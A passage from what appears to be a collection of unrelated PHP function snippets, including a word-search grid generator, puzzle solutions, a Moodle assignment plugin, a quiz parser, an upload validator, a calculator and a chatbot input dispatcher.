)\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = $PUZ_W;\r\n\t\t\t\t$width = $rand * $PUZ_W;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count - 1;\r\n\t\t\t\t\t$random_num = $random_num + 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width + $PUZ_W - 1;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tcase 7:\t/*Display word from bottom to top diagonally [left to right]*/\r\n\t\t\t\t$var = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$random_num = generate_random_number($array_words_col,$PUZ_L,0);//get random num\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = (($random_num - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num - ($PUZ_W - 1);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = 1;\r\n\t\t\t\t$width = (($rand - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count + 1;\r\n\t\t\t\t\t$random_num = $random_num - 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width - ($PUZ_W - 1);\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tcase 8:\t/* Display word from bottom to top diagonally [right to left] */\r\n\t\t\t\t$var = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$random_num = generate_random_number($array_words_col,$PUZ_L,0);//get random num\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = $random_num * $PUZ_W;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num - ($PUZ_W + 1);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = $PUZ_W;\r\n\t\t\t\t$width = $random_num * $PUZ_W;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count - 1;\r\n\t\t\t\t\t$random_num = $random_num - 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width - ($PUZ_W + 1);\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t// $\r\n\treturn array($array_table,$badwordarray);;\r\n}",
"abstract public function solve();",
"private function part1()\n {\n $this->start();\n\n $lines = collect(explode(\"\\n\", $this->getInput()));\n\n $preamble = 25;\n\n foreach ($lines as $io => $line) {\n if ($io <= ($preamble - 1)) continue;\n\n $linesToCheck = $lines->filter(function($line, $ii) use ($preamble, $io) {\n return $ii >= ($io - $preamble) && $ii < $io;\n })->toArray();\n\n if (! $this->twoCanSum($line, $linesToCheck)) {\n $this->firstAnswer = $line;\n break;\n }\n\n if ($this->firstAnswer) break;\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 1: Answer'],\n 'data' => [[$this->firstAnswer]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"public function data_preprocessing(&$default_values) {\r\n global $DB;\r\n $context = $this->assignment->get_context();\r\n $course = $this->assignment->get_course();\r\n\r\n $drafttestinputid = file_get_submitted_draft_itemid('assignsubmission_codehandin_testinput');\r\n $drafttestoutputid = file_get_submitted_draft_itemid('assignsubmission_codehandin_testoutput');\r\n $draftteststderr = file_get_submitted_draft_itemid('assignsubmission_codehandin_teststderr');\r\n\r\n if ($context) {\r\n // existing submission\r\n\r\n $assignmentid = $this->assignment->get_instance()->id;\r\n\r\n file_prepare_draft_area($drafttestinputid, $context->id, 'assignsubmission_codehandin', ASSIGNSUBMISSION_CODEHANDIN_FILEAREA, (ASSIGNSUBMISSION_CODEHANDIN_INPUTFILES_START + $assignmentid), array(\r\n 'subdirs' => 0,\r\n 'maxbytes' => $course->maxbytes,\r\n 'maxfiles' => 1,\r\n 'accepted_types' => '*'\r\n ));\r\n file_prepare_draft_area($drafttestoutputid, $context->id, 'assignsubmission_codehandin', ASSIGNSUBMISSION_CODEHANDIN_FILEAREA, (ASSIGNSUBMISSION_CODEHANDIN_OUTPUTFILES_START + $assignmentid), array(\r\n 'subdirs' => 0,\r\n 'maxbytes' => $course->maxbytes,\r\n 'maxfiles' => 1\r\n ));\r\n file_prepare_draft_area($draftteststderr, $context->id, 'assignsubmission_codehandin', ASSIGNSUBMISSION_CODEHANDIN_FILEAREA, (ASSIGNSUBMISSION_CODEHANDIN_OUTPUTERRFILES_START + $assignmentid), array(\r\n 'subdirs' => 0,\r\n 'maxbytes' => $course->maxbytes,\r\n 'maxfiles' => 1\r\n ));\r\n\r\n\r\n //$assignment = $DB->get_records('codehandin', array('id' => $assignmentid));\r\n $checkpoints = $DB->get_records('codehandin_checkpoint', array('assignmentid' => $assignmentid), $sort = 'ordering ASC');\r\n\r\n echo '<pre>';\r\n print_r($checkpoints);\r\n echo '</pre>';\r\n\r\n// echo '<pre>';\r\n// echo $assignmentid;\r\n// echo '</pre>';\r\n//\r\n// echo '<pre>';\r\n// print_r($checkpoints);\r\n// echo '</pre>';\r\n// $assignment = (array) $assignment;\r\n// //$assignment->checkpoints = $checkpoints;\r\n// $assignment['checkpoints'] = $checkpoints;\r\n// $assignment = (object) $assignment;\r\n\r\n foreach ($checkpoints as $cp) {\r\n\r\n $tests = $DB->get_records('codehandin_test', array('checkpointid' => $cp->id));\r\n// $cp = (array) $cp;\r\n// $cp['tests'] = $tests;\r\n// $cp = (object) $cp;\r\n// \r\n// echo '<pre>';\r\n// print_r($tests);\r\n// echo '</pre>';\r\n }\r\n\r\n// echo '<pre>';\r\n// print_r($checkpoints);\r\n// echo '</pre>';\r\n// echo '<pre>';\r\n// print_r($cpids);\r\n// echo '</pre>';\r\n// echo '<pre>';\r\n// print_r($tests);\r\n// echo '</pre>';\r\n // assignment is now fancy packed\r\n\r\n\r\n\r\n foreach ($checkpoints as $cp) {\r\n $default_values['assignsubmission_codehandin_cpname'] = $cp->name;\r\n $default_values['assignsubmission_codehandin_cpdescription'] = $cp->description;\r\n $default_values['assignsubmission_codehandin_cpruntimeargs'] = $cp->runtimeargs;\r\n $default_values['assignsubmission_codehandin_cpordering'] = $cp->ordering;\r\n foreach ($tests as $test) {\r\n $default_values['assignsubmission_codehandin_testassessment'] = $test->assessment;\r\n $default_values['assignsubmission_codehandin_testdescription'] = $test->description;\r\n $default_values['assignsubmission_codehandin_testretval'] = $test->retval;\r\n }\r\n }\r\n } else {\r\n file_prepare_draft_area($drafttestinputid, null, 'assignsubmission_codehandin', ASSIGNSUBMISSION_CODEHANDIN_FILEAREA, 0, array(\r\n 'subdirs' => 0,\r\n 'maxbytes' => $course->maxbytes,\r\n 'maxfiles' => 1,\r\n 'accepted_types' => '*'\r\n ));\r\n }\r\n\r\n // $DB->update_record($table, $dataobject, $bulk=false)\r\n\r\n $default_values['assignsubmission_codehandin_testinput'] = $drafttestinputid;\r\n $default_values['assignsubmission_codehandin_testoutput'] = $drafttestoutputid;\r\n $default_values['assignsubmission_codehandin_teststderr'] = $draftteststderr;\r\n }",
"public function process(array &$facts, Decision &$decision);",
"abstract public function process($parameters);",
"function run() {\n $paragraph_fields = getParagraphsFields();\n\n foreach ($paragraph_fields as $paragraph_field) {\n $parent_type = $paragraph_field->parent_type;\n $parent_field_name = $paragraph_field->parent_field_name;\n\n // We only care about cloned nodes right now, because nested paragraphs\n // should clone cleanly by default.\n if ($parent_type !== 'node') {\n logMessage(\"Not processing parent_type $parent_type, field $parent_field_name...\");\n continue;\n }\n\n $rows = getMultiplyParentedParagraphFieldRows($parent_type, $parent_field_name);\n foreach ($rows as $target_id => $row) {\n $parent_ids = $row->parent_ids;\n $parent_count = count($parent_ids);\n\n if ($parent_count > 0) {\n $parent_list = implode(', ', $parent_ids);\n logMessage(\"Paragraph #{$target_id} has {$parent_count} parents: {$parent_list}\");\n // We can leave this paragraph with its original parent,\n // but we wanna give clones to its other parents.\n $cloned_parent_ids = array_slice($parent_ids, 0, 1);\n if (!empty($cloned_parent_ids)) {\n repairParagraph($parent_type, $parent_field_name, (int) $cloned_parent_ids[0], (int) $target_id);\n }\n }\n }\n\n }\n}",
"public function transform($data) {\n\t\t\t$output = array();\n\t\t\t\n\t\t\t// Points array.\n\t\t\t$points = array();\n\t\t\t\n\t\t\t// Full name and A#\n\t\t\t$output['full_name'] = $this->nullCheck($data['answers'][1]['prettyFormat']);\n\t\t\t$output['a_number'] = $this->nullCheck($data['answers'][4]['answer']);\n\t\t\t\n\t\t\t// GPA Calculation.\n\t\t\t$output['gpa'] = round($data['answers'][5]['answer'], 2);\n\t\t\t$points['gpa'] = round(($data['answers'][5]['answer'] * 20), 2);\n\t\t\t\n\t\t\t// HESI Calculation.\n\t\t\tforeach(array(\n\t\t\t\t'hesi_reading' => 6,\n\t\t\t\t'hesi_math' => 7,\n\t\t\t\t'hesi_ap' => 8\n\t\t\t) as $name => $id) {\n\t\t\t\t$output[$name] = $data['answers'][$id]['answer'];\n\t\t\t\t$points[$name] = round(($data['answers'][$id]['answer'] * 0.05), 2);\n\t\t\t}\n\t\t\t\n\t\t\t// No Value Checks\n\t\t\t$output['vocab_gen'] = $this->boolCheck($data['answers'][25]['answer']);\n\t\t\t$output['personality_profile'] = $this->boolCheck($data['answers'][26]['answer']);\n\t\t\t$output['learning_style'] = $this->boolCheck($data['answers'][27]['answer']);\n\t\t\t\n\t\t\t// BIOLOGY Grades\n\t\t\tforeach(array(\n\t\t\t\t'biol2401' => array('id' => 12, 'completed' => 13),\n\t\t\t\t'biol2402' => array('id' => 14, 'completed' => 15),\n\t\t\t\t'biol2420' => array('id' => 16, 'completed' => 17)\n\t\t\t) as $name => $val) {\n\t\t\t\t$points[$name] = $this->gradeToBiolPoints($data['answers'][$val['id']]['answer'], $data['answers'][$val['completed']]['answer']);\n\t\t\t}\n\t\t\t\n\t\t\t// Bonus\n\t\t\tforeach(array(\n\t\t\t\t'hitt1305' => 18,\n\t\t\t\t'hitt1303' => 19,\n\t\t\t\t'hrps12011105' => 20\n\t\t\t) as $name => $id) {\n\t\t\t\t$points[$name] = $this->gradeToBonusPoints($data['answers'][$id]['answer']);\n\t\t\t}\n\t\t\t\n\t\t\tforeach(array(\n\t\t\t\t'cna' => array('id' => 21, 'points' => 3),\n\t\t\t\t'sixmonth' => array('id' => 22, 'points' => 2),\n\t\t\t\t'tjc_enrollment' => array('id' => 23, 'points' => 2),\n\t\t\t\t'indistrict' => array('id' => 24, 'points' => 3)\n\t\t\t) as $name => $val) {\n\t\t\t\t$points[$name] = $this->boolToPoints($data['answers'][$val['id']]['answer'], $val['points']);\n\t\t\t}\n\t\t\t\n\t\t\t$output['total_points'] = 0;\n\t\t\tforeach($points as $name => $val) {\n\t\t\t\t$output[($name . '_points')] = $val;\n\t\t\t\t$output['total_points'] += $val;\n\t\t\t}\n\n\t\t\treturn $output;\n\t\t}",
"function run()\n\t{\n\t\trequire_code('quiz');\n\n\t\t$questions=array();\n\n\t\t$text=post_param('text');\n\t\t$type=post_param('type');\n\n\t\t$_qs=explode(chr(10).chr(10),$text);\n\t\t$qs=array();\n\t\tforeach ($_qs as $q)\n\t\t{\n\t\t\t$q=trim($q);\n\t\t\tif ($q!='') $qs[]=$q;\n\t\t}\n\t\t$num_q=0;\n\n\t\t$qs2=array();\n\t\tforeach ($qs as $i=>$q)\n\t\t{\n\t\t\t$_as=explode(chr(10),$q);\n\t\t\t$as=array();\n\t\t\tforeach ($_as as $a)\n\t\t\t{\n\t\t\t\tif ($a!='') $as[]=$a;\n\t\t\t}\n\t\t\t$q=array_shift($as);\n\t\t\t$matches=array();\n\t\t\t//if (preg_match('#^(\\d+)\\)?(.*)#',$q,$matches)===false) continue;\n\t\t\tif (preg_match('#^(.*)#',$q,$matches)===false) continue;\n\t\t\tif (count($matches)==0) continue;\n\n\t\t\t$implicit_question_number=$i;//$matches[1];\n\n\t\t\t$qs2[$implicit_question_number]=$q.chr(10).implode(chr(10),$as);\n\t\t}\n\t\tksort($qs2);\n\n\t\tforeach (array_values($qs2) as $i=>$q)\n\t\t{\n\t\t\t$_as=explode(chr(10),$q);\n\t\t\t$as=array();\n\t\t\tforeach ($_as as $a)\n\t\t\t{\n\t\t\t\tif ($a!='') $as[]=$a;\n\t\t\t}\n\t\t\t$q=array_shift($as);\n\t\t\t$matches=array();\n\t\t\t//if (preg_match('#^(\\d+)\\)?(.*)#',$q,$matches)===false) continue;\n\t\t\tif (preg_match('#^(.*)#',$q,$matches)===false) continue;\n\t\t\tif (count($matches)==0) continue;\n\t\t\t$question=trim($matches[count($matches)-1]);\n\t\t\t$long_input_field=(strpos($question,' [LONG]')!==false)?1:0;\n\t\t\t$question=str_replace(' [LONG]','',$question);\n\t\t\t$num_choosable_answers=(strpos($question,' [*]')!==false)?count($as):((count($as)>0)?1:0);\n\t\t\t$question=str_replace(' [*]','',$question);\n\t\t\t$required=(strpos($question,' [REQUIRED]')!==false)?1:0;\n\t\t\t$question=str_replace(' [REQUIRED]','',$question);\n\n\t\t\t// Now we add the answers\n\t\t\t$answers=array();\n\t\t\tforeach ($as as $x=>$a)\n\t\t\t{\n\t\t\t\t$is_correct=((($x==0) && (strpos($qs2[$i],' [*]')===false) && ($type!='SURVEY')) || (strpos($a,' [*]')!==false))?1:0;\n\t\t\t\t$a=str_replace(' [*]','',$a);\n\n\t\t\t\tif (substr($a,0,1)==':') continue;\n\n\t\t\t\t$answers[]=array(\n\t\t\t\t\t'id'=>$x,\n\t\t\t\t\t'q_answer_text'=>$a,\n\t\t\t\t\t'q_is_correct'=>$is_correct,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t$questions[]=array(\n\t\t\t\t'id'=>$i,\n\t\t\t\t'q_long_input_field'=>$long_input_field,\n\t\t\t\t'q_num_choosable_answers'=>$num_choosable_answers,\n\t\t\t\t'q_question_text'=>$question,\n\t\t\t\t'answers'=>$answers,\n\t\t\t\t'q_required'=>$required,\n\t\t\t);\n\n\t\t\t$num_q++;\n\t\t}\n\n\t\t$preview=render_quiz($questions);\n\n\t\treturn array(do_template('FORM',array('SUBMIT_NAME'=>'','TEXT'=>'','URL'=>'','HIDDEN'=>'','FIELDS'=>$preview)),NULL);\n\t}",
"private function part2()\n {\n $this->start();\n\n $groups = explode(\"\\n\\n\", $this->getInput());\n $sum = 0;\n\n foreach ($groups as $group) {\n $answers = [];\n $people = explode(\"\\n\", $group);\n\n foreach ($people as $person) {\n foreach (str_split($person) as $answer) {\n $answers[$answer] ??= 0;\n $answers[$answer]++;\n }\n }\n\n $everyone = collect($answers)->filter(function($answer) use ($people) {\n return $answer === count($people);\n });\n\n $sum = $everyone->count() + $sum;\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 2: Answer'],\n 'data' => [[$sum]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"public function setParsedInput(array $input);",
"function checkInput()\n\t{\n\t\tglobal $lng;\n\t\t\n\t\tinclude_once \"./Services/AdvancedEditing/classes/class.ilObjAdvancedEditing.php\";\n\t\tif (is_array($_POST[$this->getPostVar()])) $_POST[$this->getPostVar()] = ilUtil::stripSlashesRecursive($_POST[$this->getPostVar()], false, ilObjAdvancedEditing::_getUsedHTMLTagsAsString(\"assessment\"));\n\t\t$foundvalues = $_POST[$this->getPostVar()];\n\t\tif (is_array($foundvalues))\n\t\t{\n\t\t\t// check answers\n\t\t\tif (is_array($foundvalues['answer']))\n\t\t\t{\n\t\t\t\tforeach ($foundvalues['answer'] as $aidx => $answervalue)\n\t\t\t\t{\n\t\t\t\t\tif (((strlen($answervalue)) == 0) && (strlen($foundvalues['imagename'][$aidx]) == 0))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->setAlert($lng->txt(\"msg_input_is_required\"));\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// check points\n\t\t\t$max = 0;\n\t\t\tif (is_array($foundvalues['points']))\n\t\t\t{\n\t\t\t\tforeach ($foundvalues['points'] as $points)\n\t\t\t\t{\n\t\t\t\t\tif ($points > $max) $max = $points;\n\t\t\t\t\tif (((strlen($points)) == 0) || (!is_numeric($points))) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_numeric_value_required\"));\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tforeach ($foundvalues['points_unchecked'] as $points)\n\t\t\t\t{\n\t\t\t\t\tif ($points > $max) $max = $points;\n\t\t\t\t\tif (((strlen($points)) == 0) || (!is_numeric($points))) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_numeric_value_required\"));\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($max == 0)\n\t\t\t{\n\t\t\t\t$this->setAlert($lng->txt(\"enter_enough_positive_points\"));\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif (is_array($_FILES) && count($_FILES) && $this->getSingleline())\n\t\t\t{\n\t\t\t\tif (!$this->hideImages)\n\t\t\t\t{\n\t\t\t\t\tif (is_array($_FILES[$this->getPostVar()]['error']['image']))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($_FILES[$this->getPostVar()]['error']['image'] as $index => $error)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// error handling\n\t\t\t\t\t\t\tif ($error > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tswitch ($error)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_INI_SIZE:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_size_exceeds\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_FORM_SIZE:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_size_exceeds\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_PARTIAL:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_partially_uploaded\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_NO_FILE:\n\t\t\t\t\t\t\t\t\t\tif ($this->getRequired())\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ((!strlen($foundvalues['imagename'][$index])) && (!strlen($foundvalues['answer'][$index])))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_no_upload\"));\n\t\t\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_NO_TMP_DIR:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_missing_tmp_dir\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_CANT_WRITE:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_cannot_write_to_disk\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcase UPLOAD_ERR_EXTENSION:\n\t\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_upload_stopped_ext\"));\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($this->getRequired())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_no_upload\"));\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (is_array($_FILES[$this->getPostVar()]['tmp_name']['image']))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($_FILES[$this->getPostVar()]['tmp_name']['image'] as $index => $tmpname)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$filename = $_FILES[$this->getPostVar()]['name']['image'][$index];\n\t\t\t\t\t\t\t$filename_arr = pathinfo($filename);\n\t\t\t\t\t\t\t$suffix = $filename_arr[\"extension\"];\n\t\t\t\t\t\t\t$mimetype = $_FILES[$this->getPostVar()]['type']['image'][$index];\n\t\t\t\t\t\t\t$size_bytes = $_FILES[$this->getPostVar()]['size']['image'][$index];\n\t\t\t\t\t\t\t// check suffixes\n\t\t\t\t\t\t\tif (strlen($tmpname) && is_array($this->getSuffixes()))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!in_array(strtolower($suffix), $this->getSuffixes()))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_wrong_file_type\"));\n\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (is_array($_FILES[$this->getPostVar()]['tmp_name']['image']))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ($_FILES[$this->getPostVar()]['tmp_name']['image'] as $index => $tmpname)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$filename = $_FILES[$this->getPostVar()]['name']['image'][$index];\n\t\t\t\t\t\t\t$filename_arr = pathinfo($filename);\n\t\t\t\t\t\t\t$suffix = $filename_arr[\"extension\"];\n\t\t\t\t\t\t\t$mimetype = $_FILES[$this->getPostVar()]['type']['image'][$index];\n\t\t\t\t\t\t\t$size_bytes = $_FILES[$this->getPostVar()]['size']['image'][$index];\n\t\t\t\t\t\t\t// virus handling\n\t\t\t\t\t\t\tif (strlen($tmpname))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$vir = ilUtil::virusHandling($tmpname, $filename);\n\t\t\t\t\t\t\t\tif ($vir[0] == false)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_virus_found\").\"<br />\".$vir[1]);\n\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->setAlert($lng->txt(\"msg_input_is_required\"));\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\treturn $this->checkSubItemsInput();\n\t}",
"function calculateInput($userInput) {\n //Format user input\n $array = [];\n $char = \"\";\n foreach ($userInput as $number) {\n if(is_numeric($number) || $number == \".\") {\n $char .= $number;\n } else if (!is_numeric($number)) {\n if (!empty($char)) {\n $array[] = $char;\n $char = \"\";\n }\n $array[] = $number;\n }\n }\n if (!empty($char)) {\n //This is so when we add the second set of numbers, it will add it to the array without having to hit a symbol.\n $array[] = $char;\n }\n \n //Calculate user input\n $current = 0;\n $action = null;\n\n for ($i=0; $i<= count($array)-1; $i++) {\n if (is_numeric($array[$i])) { //If we find a number\n if ($action) { //If we have an action pressed \n if ($action == \"+\") {\n $current = $current + $array[$i]; //We add the current number to the array at the index\n }\n if ($action == \"-\") {\n $current = $current - $array[$i]; //We subtract the current number to the array at the index\n }\n if ($action == \"x\") {\n $current = $current * $array[$i]; //We multiply the current number to the array at the index\n }\n if ($action == \"/\") {\n $current = $current / $array[$i]; //We divide the current number to the array at the index\n }\n $action = null; //Then we set the action back to null so we can use any action again.\n } else { //If no action is pressed \n if ($current == 0) { //If the current number is zero\n $current = $array[$i]; //Add the first number to the array.\n }\n }\n } else { //If it is not numeric, we add the action pressed to the array.\n $action = $array[$i];\n }\n }\n \n return $current;\n\n}",
"function importpostprocess() {\n /// Argument is a simple array of question ids that \n /// have just been added.\n \n // need to clean up temporary directory\n return $this->clean_temp_dir();\n }",
"private function validate_input() {\n\t\t$fields = array_merge( array( $this->range_field ), $this->key_fields, $this->checksum_fields );\n\n\t\t$this->validate_fields( $fields );\n\t\t$this->validate_fields_against_table( $fields );\n\t}",
"abstract public function process($hook, $input = 'php://input');",
"function test_input() :array\n{\n if (count($_POST) > 0) {\n {\n if (isset($_POST['id'])){\n $winner['id'] = $_POST['id'];\n }\n $winner['prize_year'] = validate_input($_POST['prize_year']);\n $winner['author_name'] = validate_input($_POST['author_name']);\n $winner['book_name'] = validate_input($_POST['book_name']);\n $winner['author_nationality'] = validate_input($_POST['author_nationality']);\n return $winner;\n }\n } return [];\n}",
"function dx_process($conn, $bot, $input){\n //set a name for user\n if (mb_substr($input, 0, 1, 'utf-8') == '!')\n $bot -> setName($input);\n\n //get the time for user\n else if(strpos($input, 'time') || $input == 'time')\n $bot -> getTime($input);\n\n //train the bot\n else if (substr($input, 0, 6) == 'train:') {\n $bot -> trainBot($conn, $input);\n }\n\n //display bot data\n else if($input == 'aboutbot')\n $bot -> getBotData();\n\n else if( strpos($input, 'date') || $input == 'date'){\n echo 'Today is '.date('D.').' the '.date('jS M, ').date('Y');\n exit();\n }\n\n //respond to input such as hello, hi etc\n else if(str_word_count($input) == 1 && $input != 'time' && $input != 'date' && $input != 'aboutbot' && $input != 'help')\n $bot -> response($input);\n\n //show help\n else if($input == 'help')\n $bot -> showHelp();\n\n else\n $bot -> respondToQuestion($conn, $input);\n\n\n }",
"public function get_input()\n {\n }",
"function process_variables($input, $graph_item, $graph_start = 0, $graph_end = 0) {\n\n\t$matches = array();\n\t$match = \"\";\n\n\t/* Get graph items for the graph */\n\t$graph_items = db_fetch_assoc(\"SELECT\n\t\tgraph_templates_item.id AS graph_templates_item_id,\n\t\tgraph_templates_item.cdef_id,\n\t\tgraph_templates_item.text_format,\n\t\tgraph_templates_item.value,\n\t\tgraph_templates_item.hard_return,\n\t\tgraph_templates_item.consolidation_function_id,\n\t\tgraph_templates_item.graph_type_id,\n\t\tgraph_templates_gprint.gprint_text,\n\t\tcolors.hex,\n\t\tdata_template_rrd.id as data_template_rrd_id,\n\t\tdata_template_rrd.local_data_id,\n\t\tdata_template_rrd.rrd_minimum,\n\t\tdata_template_rrd.rrd_maximum,\n\t\tdata_template_rrd.data_source_name,\n\t\tdata_template_rrd.local_data_template_rrd_id\n\t\tFROM graph_templates_item\n\t\tLEFT JOIN data_template_rrd ON (graph_templates_item.task_item_id=data_template_rrd.id)\n\t\tLEFT JOIN colors ON 